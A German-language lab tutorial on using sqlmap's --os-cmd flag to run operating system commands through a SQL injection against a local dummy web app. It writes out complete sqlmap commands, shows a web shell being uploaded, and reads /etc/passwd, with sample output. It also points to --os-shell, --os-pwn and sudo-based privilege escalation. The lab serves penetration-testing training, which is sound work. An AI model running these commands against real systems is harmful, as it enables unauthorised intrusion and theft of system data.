Betriebssystembefehle mit sqlmap ausführen

Kali LinuxBeginner
Jetzt üben

Einleitung

In diesem Lab werden Sie die leistungsstarken Fähigkeiten von sqlmap erkunden, um Betriebssystembefehle auf einem Zielserver auszuführen. Diese Funktion ist besonders nützlich in Penetration-Testing-Szenarien, in denen Sie eine SQL-Injection-Schwachstelle identifiziert haben und das zugrunde liegende System weiter kompromittieren möchten. Sie lernen, wie Sie das Flag --os-cmd verwenden, die Ausgabe analysieren und die Grenzen dieser Technik verstehen.

Voraussetzungen für die OS-Befehlsausführung bestätigen

In diesem Schritt stellen Sie sicher, dass sqlmap installiert ist und Sie ein grundlegendes Verständnis dafür haben, wie eine SQL-Injection-Schwachstelle identifiziert wird. Die OS-Befehlsausführung über sqlmap beruht typischerweise auf der Fähigkeit, Dateien auf das Zielsystem zu schreiben (z. B. eine Web-Shell) oder spezifische Datenbankfunktionen zu nutzen, die die Befehlsausführung ermöglichen.

Stellen Sie zunächst sicher, dass sqlmap auf Ihrem System installiert ist. Öffnen Sie ein Terminal und geben Sie Folgendes ein:

sqlmap --version

Sie sollten eine Ausgabe ähnlich der folgenden sehen, die die installierte Version von sqlmap anzeigt:

sqlmap version 1.x.x.x ## Ersetzen Sie x.x.x.x durch die tatsächliche Version

Als Nächstes verwenden wir sqlmap, um eine SQL-Injection-Schwachstelle in einer lokalen Dummy-Webanwendung zu erkennen. Diese Anwendung ist so konfiguriert, dass sie anfällig für SQL-Injection ist.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --batch --risk=3 --level=3

Das Flag --batch weist sqlmap an, im nicht-interaktiven Modus zu laufen und Standardauswahlen zu akzeptieren. --risk=3 und --level=3 erhöhen die Tiefe der Tests, die sqlmap durchführt, was oft notwendig ist, um komplexere Schwachstellen zu finden, einschließlich solcher, die die Ausführung von OS-Befehlen ermöglichen könnten.

Nachdem Sie den Befehl ausgeführt haben, führt sqlmap verschiedene Tests durch. Suchen Sie nach Ausgaben, die darauf hinweisen, dass eine SQL-Injection-Schwachstelle erkannt wurde. Möglicherweise sehen Sie Zeilen ähnlich wie:

---
[INFO] testing connection to the target URL
[INFO] checking if the target is stable
[INFO] target URL is stable
[INFO] testing if GET parameter 'id' is vulnerable to SQL injection
...
[INFO] GET parameter 'id' is vulnerable.
...
---

Dies bestätigt, dass sqlmap erfolgreich eine SQL-Injection-Schwachstelle identifiziert hat, was eine Voraussetzung für den Versuch der OS-Befehlsausführung ist.

Das --os-cmd-Flag für einen einzelnen Befehl verwenden

In diesem Schritt lernen Sie, wie Sie das --os-cmd-Flag in sqlmap verwenden, um einen einzelnen Betriebssystembefehl auf dem Zielserver auszuführen. Dieses Flag wird verwendet, wenn sqlmap einen Weg zur Ausführung von Befehlen identifiziert hat, typischerweise durch das Hochladen einer Web-Shell oder die Nutzung datenbankspezifischer Funktionen.

Die grundlegende Syntax für die Verwendung von --os-cmd lautet:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="<command>" --batch

Ersetzen Sie <command> durch den tatsächlichen OS-Befehl, den Sie ausführen möchten. sqlmap wird versuchen, diesen Befehl auszuführen und seine Ausgabe zurückzugeben.

Versuchen wir, einen einfachen Befehl wie ls auszuführen, um Dateien im aktuellen Verzeichnis aufzulisten, in dem die Webanwendung ausgeführt wird.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="ls" --batch

sqlmap wird dann Folgendes tun:

  1. Die SQL-Injection-Schwachstelle erkennen.
  2. Versuchen, eine geeignete Technik für die Ausführung von OS-Befehlen zu finden (z. B. durch Hochladen einer Web-Shell).
  3. Den Befehl ls ausführen.
  4. Die Ausgabe des Befehls abrufen und anzeigen.

Sie werden verschiedene sqlmap-Meldungen sehen, die seinen Fortschritt anzeigen, wie zum Beispiel:

...
[INFO] trying to upload a web shell for OS command execution
[INFO] web shell uploaded to '/tmp/web_app/tmpbxxxx.php'
[INFO] executing OS command 'ls'
...

Die Ausgabe des ls-Befehls wird von sqlmap angezeigt, nachdem er erfolgreich ausgeführt wurde. Dies demonstriert die Fähigkeit, beliebige Befehle auf dem Server auszuführen.

Einen einfachen Befehl wie whoami oder id ausführen

In diesem Schritt führen Sie gängige Linux-Befehle wie whoami und id aus, um Informationen über den Benutzer- und Gruppenkontext zu sammeln, unter dem der Webserver-Prozess läuft. Diese Informationen sind entscheidend, um die Privilegien zu verstehen, die Sie auf dem kompromittierten System haben.

Führen Sie zunächst den Befehl whoami aus:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="whoami" --batch

Nachdem sqlmap fertig ist, wird die Ausgabe des whoami-Befehls angezeigt. Dies ist in der Regel der Benutzername, unter dem der Webserver (z. B. www-data, apache oder labex in unserer Laborumgebung) läuft.

...
[INFO] retrieved OS command output:
labex
...

Führen Sie als Nächstes den Befehl id aus. Dieser Befehl liefert detailliertere Informationen, einschließlich der Benutzer-ID (UID), der Gruppen-ID (GID) und aller Gruppen, zu denen der Benutzer gehört.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="id" --batch

Die Ausgabe des id-Befehls wird ungefähr so aussehen:

...
[INFO] retrieved OS command output:
uid=1000(labex) gid=1000(labex) groups=1000(labex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
...

Die Analyse dieser Ausgabe hilft Ihnen, die Ihnen zur Verfügung stehenden Berechtigungen zu verstehen. Wenn der Benutzer beispielsweise zur Gruppe sudo gehört, ist möglicherweise eine Eskalation der Privilegien möglich.

Die von sqlmap zurückgegebene Befehlsausgabe analysieren

In diesem Schritt konzentrieren Sie sich darauf, wie sqlmap die Ausgabe ausgeführter OS-Befehle darstellt und worauf Sie achten sollten. sqlmap ruft die Befehlsausgabe von der Web-Shell ab, die es hochlädt (oder über andere Ausführungsmethoden), und zeigt sie in seiner Konsole an.

Wenn Sie einen Befehl mit --os-cmd ausführen, zeigt sqlmap normalerweise eine Zeile wie diese an:

[INFO] retrieved OS command output:

gefolgt von der tatsächlichen Ausgabe des Befehls. Wenn Sie beispielsweise ls -l /tmp ausgeführt haben, könnte die Ausgabe wie folgt aussehen:

[INFO] retrieved OS command output:
total 8
-rw-r--r-- 1 labex labex 1234 Jan 1 10:00 somefile.txt
drwxr-xr-x 2 labex labex 4096 Jan 1 10:05 somedir

Es ist wichtig, diese Ausgabe sorgfältig zu lesen. Sie liefert direkte Einblicke in das Zielsystem. Zum Beispiel:

  • Dateilisten (ls, dir): Zeigen Verzeichnisstrukturen, Dateinamen und Berechtigungen an.
  • Systeminformationen (uname -a, cat /etc/os-release): Liefern Details zum Betriebssystem, zur Kernel-Version und zur Distribution.
  • Netzwerkkonfiguration (ip a, ifconfig): Zeigen Netzwerkschnittstellen, IP-Adressen und Netzwerkkonfigurationen an.
  • Prozesslisten (ps aux): Listen laufende Prozesse auf, was auf andere Dienste oder Anwendungen hinweisen kann.

Erwägen Sie die Ausführung von cat /etc/passwd, um zu sehen, ob Sie sensible Systemdateien abrufen können.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="cat /etc/passwd" --batch

Sie sehen den Inhalt der Datei /etc/passwd in der sqlmap-Ausgabe. Diese Datei enthält Informationen über Benutzerkonten und ist ein häufiges Ziel für die Aufklärung.

...
[INFO] retrieved OS command output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
labex:x:1000:1000:LabEx User,,,:/home/labex:/bin/zsh
...

Die Analyse dieser Ausgabe hilft Ihnen, potenzielle Benutzer, ihre Home-Verzeichnisse und Standard-Shells zu identifizieren, was für weitere Exploits nützlich sein kann.

Die Einschränkungen der nicht-interaktiven Befehlsausführung verstehen

In diesem Schritt werden Sie die inhärenten Einschränkungen der Ausführung von OS-Befehlen über das --os-cmd-Flag von sqlmap verstehen, insbesondere dessen nicht-interaktive Natur.

Das --os-cmd-Flag führt einen einzelnen Befehl aus und gibt dessen Ausgabe zurück. Es stellt keine interaktive Shell bereit (wie eine typische SSH- oder Terminal-Sitzung). Das bedeutet:

  1. Keine persistente Sitzung: Jede --os-cmd-Ausführung ist eine neue, unabhängige Anfrage. Sie können keinen Befehl ausführen und dann dessen Ausgabe verwenden, um den nächsten Befehl in derselben "Sitzung" zu informieren.
  2. Keine interaktiven Programme: Sie können keine Programme ausführen, die Benutzereingaben oder kontinuierliche Interaktion erfordern (z. B. nano, vi, top, passwd).
  3. Begrenzte komplexe Operationen: Das Verketten von Befehlen mit Pipes (|) oder Semikolons (;) ist möglich, aber die Verwaltung komplexer Arbeitsabläufe oder bedingter Logik wird umständlich. Zum Beispiel würde ls -l /tmp | grep "file" funktionieren, aber ein mehrstufiges Skript, das Benutzereingaben erfordert, würde dies nicht tun.
  4. Fehlerbehandlung: Fehler werden typischerweise als Teil der Befehlsausgabe zurückgegeben, aber das Debugging komplexer Probleme kann ohne eine interaktive Shell schwierig sein.

Um diese Einschränkungen zu überwinden, verwenden Penetrationstester oft --os-shell oder --os-pwn in sqlmap (sofern dies von der zugrunde liegenden Datenbank und der Webserverkonfiguration unterstützt wird). Diese Flags versuchen, eine semi-interaktive oder vollständig interaktive Shell einzurichten, die komplexere Operationen ermöglicht. --os-cmd ist jedoch nützlich für schnelle Aufklärung oder die Ausführung einzelner, atomarer Befehle.

Versuchen Sie beispielsweise, einen Befehl auszuführen, der normalerweise eine Interaktion erfordert, wie nano.

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="nano" --batch

Sie werden wahrscheinlich eine Fehlermeldung oder keine aussagekräftige Ausgabe sehen, da nano ein Terminal und Benutzereingaben erwartet, die sqlmap in diesem nicht-interaktiven Modus nicht bereitstellen kann.

...
[INFO] retrieved OS command output:
Error opening terminal: unknown.
...

Dies zeigt, dass --os-cmd zwar für einzelne Befehle leistungsfähig ist, aber kein Ersatz für eine vollständige interaktive Shell ist.

Zusammenfassung

In diesem Lab haben Sie erfolgreich gelernt, wie Sie Betriebssystembefehle auf einem Zielserver mit dem --os-cmd-Flag von sqlmap ausführen. Sie haben mit der Bestätigung der Voraussetzungen begonnen, dann einfache Befehle wie ls, whoami, id und cat /etc/passwd geübt. Sie haben auch ein Verständnis dafür entwickelt, wie die von sqlmap zurückgegebene Befehlsausgabe analysiert wird, und vor allem die Einschränkungen der nicht-interaktiven Befehlsausführung erkannt. Diese Fähigkeit ist grundlegend für die Post-Exploitation-Phasen beim Penetrationstesting von Webanwendungen.